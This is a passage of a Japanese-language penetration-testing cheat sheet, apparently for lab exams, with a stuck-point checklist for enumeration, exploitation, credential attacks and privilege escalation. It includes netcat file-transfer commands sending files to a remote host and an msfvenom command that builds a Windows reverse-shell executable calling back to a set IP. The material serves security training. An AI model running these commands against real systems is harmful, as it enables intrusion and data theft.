* UDPトラフィックのリッスン
  * `nc -nlvp <TargetPort> -u`

### *File Transfer*
* Local Host
  * `nc -nvlp 1234 > <FileName>`
* Remote Host
  * ` nc 10.10.14.6 1234 < <FileName>`
## *Check Points if you get stuck*
* 知らないモジュールやプロトコルは[HackTricks](https://book.hacktricks.xyz/welcome/readme)で調べたか
* Nmap
  * すべてのportは確認しているか（-p1-65535）
  * UDP
    * UDPスキャン（-sU）は試したか(SNMPは稼働していないか(port161))
    * tftpは稼働していないか
      * [list機能がないため、NSE Scriptは試したか](https://www.infosecmatter.com/nmap-nse-library/?nse=tftp-enum#:~:text=File%20name%20with%20list%20of%20filenames%20to%20enumerate,in%20this%20example%3A%20nmap%20--script%3Dtftp-enum%20--script-args%20filelist%3Dvalue%20%3Ctarget%3E)
      * `nmap -sU -p 69 --script tftp-enum.nse <TargetIP>`
* Exploit
  * すべてのサービスをsearchsploitで確認しているか
  * exploitDBに登録されているexploit以外に、PoCはないか
  * カーネルレベルでのexploitは試したか
  * exploitが動かないとき
    * 指定しているreverse portは変更したか
      * ターゲットマシンで、特定のportにしかアクセスできないようになっているかも
      * port 80, 8080, 443等のcommon portを試してみる
    * Payloadの名前を変更してみる（reverse.exe -> met.exe）
    * インターナルのホスト同士のみの通信しか許可されていない場合はないか
      * Kaliと通信したい場合には、トンネリングを作成しているか
    * #!/usr/bin/python or #!/usr/bin/ or #!/bin/bashはスクリプトに付与しているか
* 空いているportに対して、telnetで接続し、HelpやHelloしているか
* パスワードがかかっているファイルがあったとき、クラックできるか試したか
  * crackできないとき、rockyou.txtではなく、/usr/share/wordlists/fasttrack.txtを試してみたか
* IPアドレスをホスト名に変更してアクセスしてみたか（/etc/hosts）
  * ffufでディレクトリが見つからないときは、ホスト名/ディレクトリで定めていることを疑う
* Default Passwordは試したか
  * サービスによっては、admin:adminというように、ユーザー名と同じパスワードの場合がある
  * 最初の文字を小文字や大文字で試しているか
* ffufでのenumerationは十分か
  * seclists/directory-2.3-small.txtやmedium.txtは試したか
  * 見つけたディレクトリを起点に再度、ffufを試したか
* Reverse shellが動かないとき
  * nonstagedのshellを使っているか
    * ``msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=80 -f exe -o reverse.exe``
* Crackmapexec
  * これまで得たクレデンシャルは十分か？見落としがないか？
  * crackmapexecで`--local-auth`をつけているか
* ハイジャックしようとしているサービスはユーザーを追加する権限を持っているか
  * ユーザーの追加ではなく、リバースシェルを取るように変更したか

## *Trouble Shooting*
* [Win32 internal error "Access is denied" 0x5 occurred while reading the console ...](https://github.com/crc-org/crc/issues/1184)
  * `$ProgressPreference = "SilentlyContinue"`
* [cannot be loaded because running scripts is disabled on this system](https://stackoverflow.com/questions/67150436/cannot-be-loaded-because-running-scripts-is-disabled-on-this-system-for-more-in)
  * `Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted`
* Error opening terminal: unknown
  * `export TERM=xterm`
  
## *Others*
* [Terminator](https://qiita.com/Hashibirokou/items/58cfe84975c3b3af0235)
  * kali linux best terminal
  * 水平に分割
    * `Ctrl + Shift + o`
  * 垂直に分割
    * `Ctrl + Shift + e`